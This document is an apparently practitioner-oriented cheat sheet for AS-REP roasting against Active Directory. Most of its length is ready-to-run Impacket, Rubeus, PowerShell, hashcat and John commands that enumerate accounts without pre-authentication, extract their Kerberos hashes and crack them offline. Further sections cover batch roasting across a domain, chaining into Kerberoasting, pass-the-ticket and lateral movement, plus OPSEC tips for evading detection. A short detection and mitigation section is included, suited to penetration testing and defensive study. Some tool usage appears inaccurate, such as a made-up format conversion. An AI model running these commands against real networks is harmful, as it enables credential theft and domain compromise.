AS-REP Roasting

AS-REP roasting exploits Kerberos users with Pre-Authentication disabled, allowing attackers to request valid Kerberos tickets without valid credentials and crack them offline.

Vulnerability Overview

• Target: Users with “Do not require Kerberos pre-authentication” enabled
• Impact: Offline password cracking of domain user accounts
• Requirements: Network access to DC, ability to enumerate users
• Mitigation: Enable pre-authentication (default in modern Windows)

User Enumeration

Finding AS-REP Roastable Users

# Impacket - GetNPUsers.py
python3 GetNPUsers.py -dc-ip 192.168.1.100 DOMAIN.LOCAL/ -usersfile users.txt -no-pass -format john

# Rubeus
Rubeus.exe asreproast /format:john /outfile:hashes.txt

# AD enumeration
ldapsearch -x -H ldap://192.168.1.100 \
  -b "CN=Users,DC=domain,DC=local" \
  "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" \
  samAccountName

Attacking AS-REP Roastable Users

Impacket (GetNPUsers.py)

Enumerate Domain

# Get TGT for all AS-REP roastable users
python3 GetNPUsers.py -dc-ip 192.168.1.100 DOMAIN.LOCAL/

# Specify users file
python3 GetNPUsers.py -dc-ip 192.168.1.100 DOMAIN.LOCAL/ -usersfile users.txt

# Format for hashcat
python3 GetNPUsers.py -dc-ip 192.168.1.100 -format hashcat DOMAIN.LOCAL/ -usersfile users.txt -outfile hashes.txt

# Format for John
python3 GetNPUsers.py -dc-ip 192.168.1.100 -format john DOMAIN.LOCAL/ -usersfile users.txt -outfile hashes.txt

Output Format

# Output: AS-REP hash ready for cracking
$krb5asrep$23$user@DOMAIN.LOCAL:hash_data

# Extract hash
cat hashes.txt | cut -d':' -f 2- > crack.txt

Rubeus (C# Tool)

# Basic AS-REP roasting
Rubeus.exe asreproast /format:john /outfile:hashes.txt

# Target specific users
Rubeus.exe asreproast /user:user1 /user:user2 /format:john

# Specify DC
Rubeus.exe asreproast /dc:192.168.1.100 /format:john

# Roast and crack immediately
Rubeus.exe asreproast /format:john /outfile:hashes.txt && hashcat -m 18200 hashes.txt wordlist.txt

# Silent roasting (no output)
Rubeus.exe asreproast /format:john /outfile:hashes.txt /nowrap

PowerShell (Invoke-ASREPRoast)

# Using Invoke-ASREPRoast from PowerView
Invoke-ASREPRoast -Outputfile roasted.txt

# Specify target domain
Invoke-ASREPRoast -Domain DOMAIN.LOCAL -Outputfile roasted.txt

# Format for hashcat
Invoke-ASREPRoast -Domain DOMAIN.LOCAL -Format Hashcat -Outputfile hashes.txt

Credential Cracking

Hashcat

# Identify hash mode
# -m 18200 = Kerberos 5 AS-REP etype 23 (RC4)
# -m 19700 = Kerberos 5 AS-REP etype 17 (AES)
# -m 19800 = Kerberos 5 AS-REP etype 18 (AES)

# Dictionary attack
hashcat -m 18200 hashes.txt wordlist.txt

# Brute force (slow for password cracking)
hashcat -m 18200 hashes.txt -a 3 ?a?a?a?a?a?a?a?a

# Rule-based attack
hashcat -m 18200 hashes.txt wordlist.txt -r rules/best64.rule

# Mask attack (known password pattern)
hashcat -m 18200 hashes.txt -a 3 -1 ?d ?l?l?l?d?d?d?d
# Pattern: letters, letters, letters, digits, digits, digits, digits

# Hybrid attack
hashcat -m 18200 hashes.txt wordlist.txt -a 6 -1 ?d ?l?a?a?a?d

John the Ripper

# Dictionary attack
john --format=krb5asrep hashes.txt --wordlist=wordlist.txt

# Incremental mode (brute force)
john --format=krb5asrep hashes.txt --incremental

# Show cracked passwords
john --show hashes.txt

# Wordlist with rules
john --format=krb5asrep hashes.txt --wordlist=wordlist.txt --rules

Large-Scale Attacks

Batch AS-REP Roasting

#!/bin/bash
# Enumerate all domain users and roast

# Get all users
GetADUser_List.py > users.txt

# Roast all
for user in $(cat users.txt); do
    python3 GetNPUsers.py -dc-ip 192.168.1.100 DOMAIN.LOCAL/$user -no-pass -format john 2>/dev/null
done | tee all_hashes.txt

# Crack
hashcat -m 18200 all_hashes.txt wordlist.txt -o cracked.txt

Distributed Cracking

# Split hashes for distributed cracking
split -n l/4 hashes.txt hashes_chunk_

# Worker 1-4 crack their portion
hashcat -m 18200 hashes_chunk_aa wordlist.txt -o results_1.txt
hashcat -m 18200 hashes_chunk_ab wordlist.txt -o results_2.txt
# ... etc

# Combine results
cat results_*.txt > cracked_final.txt

Advanced Exploitation

AS-REP Roasting with Pre-Auth Disabled

# Meterpreter approach
# 1. Obtain shell on domain-joined machine
# 2. Load kiwi module
meterpreter > load kiwi

# 3. Dump TGT
meterpreter > kerberos_ticket_dump

# 4. Pass-the-Ticket
meterpreter > kerberos_ticket_use base64_ticket

Combining with Other Attacks

# Chain AS-REP with Kerberoasting
# 1. Crack AS-REP hash to get password
# 2. Use password to request service tickets
# 3. Crack service ticket hash

python3 GetNPUsers.py -dc-ip 192.168.1.100 DOMAIN.LOCAL/ -format hashcat -outfile asrep.txt
hashcat -m 18200 asrep.txt wordlist.txt -o asrep_cracked.txt

# 4. Use cracked password for kerberoasting
Rubeus.exe kerberoast /user:service_account /password:cracked_password

Detection and Mitigation

Detection

# Monitor failed authentication attempts
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4768)]]" | Select-Object TimeCreated, Message

# Check for multiple failed pre-auth attempts
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4771)]]" -MaxEvents 100 | Group-Object ActivityID | Where-Object Count -gt 10

Mitigation

# Enable pre-authentication (PowerShell)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Set-ADAccountControl -DoesNotRequirePreAuth $false

# Verify pre-auth enabled
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select-Object SamAccountName
# Should return empty list

# Group Policy setting
# Computer Configuration > Windows Settings > Security Settings > Account Policies > Kerberos Policy
# > Enforce user logon restrictions: Always

Offensive Operations

Pre-Engagement

# Identify AS-REP roastable accounts
python3 GetNPUsers.py -dc-ip 192.168.1.100 DOMAIN.LOCAL/ 2>/dev/null | tee asrep_targets.txt

# Count potential targets
wc -l asrep_targets.txt

Execution

# Extract all AS-REP hashes
python3 GetNPUsers.py -dc-ip 192.168.1.100 -format hashcat DOMAIN.LOCAL/ -outfile asrep_hashes.txt

# Transfer to cracking machine
# ... network transfer ...

# Crack hashes
hashcat -m 18200 asrep_hashes.txt wordlist.txt -o cracked.txt --logfile crack.log

# Monitor progress
watch tail crack.log

Post-Exploitation

# Use cracked passwords for lateral movement
# Test credentials
python3 GetNPUsers.py -dc-ip 192.168.1.100 DOMAIN.LOCAL/user:password

# If successful, credential is valid
# Use for:
# - PSExec lateral movement
# - WMI execution
# - RDP access
# - Additional enumeration

Tools Comparison

Tool	Language	Features	Advantages
GetNPUsers.py	Python	Enumeration, extraction	Fast, flexible output
Rubeus	C#	Multi-format output	Single executable, no dependencies
Invoke-ASREPRoast	PowerShell	Domain enumeration	Native Windows, stealthy

OPSEC Considerations

• AS-REP roasting generates authentication traffic
• Multiple failed pre-auth attempts appear in logs
• Use legitimate tools (Rubeus) to blend with normal admin tools
• Schedule roasting during business hours
• Limit scope to specific OUs/user groups
• Monitor for detection (alerts may fire before successful crack)

Wordlists and Rules

# Best wordlists for domain password cracking
# - rockyou.txt (most common)
# - seclists/Passwords/Common-Credentials
# - Jumbo John password lists

# Rules increase success rate 10-30%
# - OneRule (massive rule set)
# - best64.rule (balanced)
# - d3ad0ne.rule (targeted rules)

# Generate custom rules
cat > custom.rule << EOF
# Capitalize first letter
c o
# Append year
$2$0$2$3
EOF

hashcat -m 18200 hashes.txt wordlist.txt -r custom.rule

Troubleshooting

# Hash extraction fails
# Verify DC IP: ping 192.168.1.100
# Check network connectivity: nslookup DOMAIN.LOCAL

# Hashcat recognizes wrong hash type
# Check format: head hashes.txt | cut -d':' -f1
# Compare to hashcat hash examples

# Cracking too slow
# Use GPU: hashcat -d 1 (CUDA) or -d 2 (OpenCL)
# Increase attack speed: -O flag
# Reduce hash count: filter weak passwords

# Hash format errors
# Validate format: john --list=formats | grep krb5
# Convert format: hashcat inline_format -> john_format

References

• GetNPUsers.py
• Rubeus
• AS-REP Roasting Explained
• Hashcat Documentation